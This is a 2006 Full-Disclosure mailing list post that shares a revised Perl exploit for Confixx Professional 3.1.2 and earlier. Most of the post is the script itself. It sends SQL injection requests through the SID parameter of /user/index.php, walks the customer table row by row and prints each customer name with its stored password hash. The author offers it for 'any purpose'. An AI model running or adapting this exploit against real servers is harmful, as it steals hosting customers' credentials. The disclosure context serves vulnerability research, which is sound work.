sry - i know this isn't a cvs repository here - but the code posted yesterday was written after some 'b33r' an i made it looking a little less drunk this morning. bye defa ----BOF---- #!/usr/bin/perl ######################################################################## ######## # # # exploit for confixx professional <= 3.1.2 # # # # the vulerability was discovered by: LoK Crew # # references: http://www.securityfocus.com/bid/ 17476 # # # # exploit can be used for any purpose but on own risk # # # # (c) by defa - sorry for the crappy code # # # # url is just the host - directory is $url/user/index.php by default # # the exploit just fetches the longpw hashes of alle users # # # # parts of the code are stolen from RuSH exploits - thanks a lot folks # ######################################################################## ######## use IO::Socket; if (@ARGV < 1) { print q( exploit by defa (2006) ========================= confixx_exploit.pl [URL] params: [URL] - server url example: confixx_exploit.pl 127.0.0.1 ); exit; } $serv = $ARGV[0]; $serv =~ s/(http:\/\/)//eg; for ($i=0;$i<=100;$i++) { $hit = 0; $url = "http://"; $url .= $serv; $url .= "/user/index.php?SID=1'%20AND%200=1%20UNION%20SELECT%20CONCAT"; $url .= "('_error|s:',length(longpw)%2Blength(kunde)%2B11,':%22','HIT: %20',"; $url .= "kunde,'%20:%20',longpw,'%20:%20','%22;')%20AS%20'sdata'% 20FROM%20"; $url .= "kunden%20LIMIT%20"; $url .= "$i,1/*"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $serv, PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; print $socket "GET $url HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket 'User-Agent: confixx_exploit'."\n"; print $socket "Connection: close\n\n"; while ($answer = <$socket>) { if ($answer =~ /

HIT:/) { @result = split(/: /,$answer); print "$result[1]: $result[2]\n"; $hit = 1; } } if ($hit == 0) {die("that's it");} } ----EOF---- -- don't eat yellow snow _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/